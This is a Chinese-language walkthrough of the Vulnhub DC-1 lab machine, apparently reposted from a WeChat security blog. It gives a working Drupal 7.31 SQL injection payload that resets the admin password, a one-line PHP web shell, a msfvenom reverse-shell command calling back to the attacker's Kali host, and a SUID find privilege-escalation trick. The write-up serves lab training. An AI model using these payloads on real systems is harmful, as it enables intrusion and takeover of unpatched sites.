目标机:192.168.119.145
攻击机(kali):192.168.119.140
(flag信息在文章最后)
首先使用nmap对目标主机进行端口探测,发现存在22、80等端口信息:
然后访问80端口 http://192.168.119.145/,发现是一个Drupal站点:
用whatweb进行网站信息搜集,发现Drupal的版本是7:
去搜索了下Drupal7版本的漏洞,通过对比登录数据包发现该站点存在Drupal7.31版本SQL注入漏洞:
(登录数据包如下)
使用该payload:
name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
注入成功,添加了用户名为“owned”密码为“thanks”的用户,权限为admin:
登录网页后,在Modules处发现允许使用PHP代码,开启该功能:
然后添加新文章:content->add content ->article
在body里写入:
phpinfo();
text format选择PHP_CODE,保存文章后得到回显:
随后在新文章中写入一句话木马,并用蚁剑连接http://192.168.119.145/node/6(这里的6是文章的编号)得到webshell:
eval($_POST['cmd']); @
查看当前权限,发现并不是root权限:
接下来进行提权操作。
经过尝试无法使用一句话反弹shell。所以使用msf生成木马文件,并用webshell上传,通过访问该文件实现反弹shell。
首先使用msf生成木马文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.119.140 lport=7777 R > getshell.php
然后设置监听:
因为我是将文件上传到WWW目录下,所以直接访问192.168.119.145/getshell.php。
成功反弹shell,开始进行linux提权。这里运用的是SUID方式提权。
首先查看那些文件拥有SUID标志位:
find / -perm -u=s -type f 2>/dev/null
然后发现find命令在其中,故使用find命令提权:
touch te
find te -exec '/bin/sh' ;
成功拿到root权限。
关于flag:
1.根据flag1提示,去配置文件中查找,但是查找config文件无果,所以百度一下drupal配置文件位置,为settings.php。打开该文件,得到flag2;
2.flag3位于网页里的content;
3.根据flag4提示,最后的flag在root文件中,这里由于已经完成提权,故可直接访问。
原文始发于微信公众号(陆吾安全攻防实验室):Vulnhub靶机: DC-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论